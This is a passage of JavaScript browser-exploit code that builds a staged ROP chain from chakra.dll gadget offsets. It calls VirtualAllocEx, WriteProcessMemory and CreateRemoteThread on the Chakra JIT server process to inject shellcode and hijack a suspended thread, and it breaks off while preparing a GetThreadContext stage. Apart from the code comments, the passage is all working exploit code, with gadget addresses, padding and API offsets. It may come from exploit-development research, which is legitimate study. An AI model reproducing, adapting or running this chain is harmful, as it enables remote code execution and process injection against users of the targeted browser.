	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00003000, 0x00000000);             // MEM_RESERVE | MEM_COMMIT
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();

	// SIZE_T dwSize (R8)
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // 0x1000 (shellcode size)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();

	// LPVOID lpAddress (RDX)
	// Let VirtualAllocEx decide where the memory will be located
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)
	next();

	// HANDLE hProcess (RCX)
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
	next();                                                                     				   // Recall RAX already has a writable pointer in it

	// Call KERNELBASE!VirtualAllocEx
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xff00, kernelbaseHigh); // KERNELBASE!VirtualAllocEx address 
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD flProtect (RSP+0x28) (PAGE_READWRITE)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
	next();

	// WriteProcessMemory() ROP chain
	// Stage 3 -> Write our shellcode into the JIT process

	// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)

	/*
	0:015> dq kernelbase+0x216000+0x4000 L2
	00007fff`58cfa000  00000000`00000000 00000000`00000000
	*/
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where we will store VirtualAllocEx allocation
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
	next();

	// SIZE_T nSize (R9)
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // SIZE_T nSize (0x1000)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();

	// HANDLE hProcess (RCX)
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds our full perms handle to JIT server
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
	next();                                                                     // Recall RAX already has a writable pointer in it

	// LPVOID lpBaseAddress (RDX)
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000-0x8, kernelbaseHigh); // .data section of kernelbase.dll where we have our VirtualAllocEx allocation
	next();                                                                            // (-0x8 to compensate for below where we have to read from the address at +0x8 offset
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);       // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret
	next();

	// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000, chakraHigh);    	  // .data section of chakra.dll holding our shellcode
	next();

	// Call KERNELBASE!WriteProcessMemory
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
	next();

	// CreateRemoteThread() ROP chain
	// Stage 4 -> Create a thread within the JIT process, but create it suspended
	// This will allow the thread to _not_ execute until we are ready
	// LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later
	// We will eventually hijack RSP of this thread with a ROP chain, and by setting RIP to a return gadget our thread, when executed, will return into our ROP chain
	// We will update the thread later via another ROP chain to call SetThreadContext()

	// LPTHREAD_START_ROUTINE lpStartAddress (R9)
	// This can be any random data, since it will never be executed
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x28b4fe, chakraHigh);	   // 0x180043c63: Anything we want - this will never get executed
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();

	// HANDLE hProcess (RCX)
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds our full perms handle to JIT server
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
	next();

	// LPSECURITY_ATTRIBUTES lpThreadAttributes (RDX)
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL (default security properties)
	next();

	// SIZE_T dwStackSize (R8)
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);      // 0x180576231: pop r8 ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // 0 (default stack size)
	next();

	// Call KERNELBASE!CreateRemoteThread
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xdcfd0, kernelbaseHigh); // KERNELBASE!CreateRemoteThread
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!CreateRemoteThread)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!CreateRemoteThread - 0x180243949: add rsp, 0x38 ; ret
	next(); 
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // LPVOID lpParameter (RSP+0x28)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD dwCreationFlags (RSP+0x30) (CREATE_SUSPENDED to avoid executing the thread routine)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // LPDWORD lpThreadId (RSP+0x38)
	next();

	// WriteProcessMemory() ROP chain (Number 2)
    // Stage 5 -> Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rcx gadget and pop rdi gadget
    // Comments about this occur at the beginning of the VirtualProtect ROP chain we will inject into the JIT process

    // Before, we need to preserve the thread HANDLE returned by CreateRemoteThread
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a100, kernelbaseHigh); // .data section of kernelbase.dll where we will store the thread HANDLE
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
    next();

    // SIZE_T nSize (R9)
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000008, 0x00000000);             // SIZE_T nSize (0x8)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
    next();

    // HANDLE hProcess (RCX)
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Current process
    next();

    // LPVOID lpBaseAddress (RDX)
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000+ropoffsetOne, chakraHigh); // .data section of chakra.dll where our final ROP chain is
    next();                                                                       

    // LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where the VirtualAllocEx allocation is stored
    next();

    // Call KERNELBASE!WriteProcessMemory
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
    next();
    write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
    next();

    // WriteProcessMemory() ROP chain (Number 3)
	// Stage 6 -> Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rdi gadget for our "fake return address"

	// SIZE_T nSize (R9)
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000008, 0x00000000);             // SIZE_T nSize (0x8)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();

	// HANDLE hProcess (RCX)
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Current process
	next();

	// LPVOID lpBaseAddress (RDX)
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000+ropoffsetTwo, chakraHigh); // .data section of chakra.dll where our final ROP chain is
	next();                                                                       

	// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where the VirtualAllocEx allocation is stored
	next();

	// Call KERNELBASE!WriteProcessMemory
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
	next();

	// VirtualAlloc() ROP chain
	// Stage 7 -> Allocate some local memory to store the CONTEXT structure from GetThreadContext

	// DWORD flProtect (R9)
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // PAGE_READWRITE (0x4)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();

	// LPVOID lpAddress (RCX)
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL (let VirtualAlloc() decide the address)
	next();

	// SIZE_T dwSize (RDX) (0x4d0 = sizeof(CONTEXT))
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x000004d0, 0x00000000);             // (0x4d0 bytes)
	next();

	// DWORD flAllocationType (R8) ( MEM_RESERVE | MEM_COMMIT = 0x3000)
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);      // 0x180576231: pop r8 ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00003000, 0x00000000);             // MEM_RESERVE | MEM_COMMIT (0x3000)
	next();

	// Call KERNELBASE!VirtualAlloc
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x5ac10, kernelbaseHigh); // KERNELBASE!VirtualAlloc address 
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!VirtualAlloc)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!VirtualAlloc - 0x180243949: add rsp, 0x38 ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38     
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
	next();

	// GetThreadContext() ROP chain
    // Stage 8 -> Dump the registers of our newly created thread within the JIT process to leak the stack

    // First, let's store some needed offsets of our VirtualAlloc allocation, as well as the address itself, in the .data section of kernelbase.dll
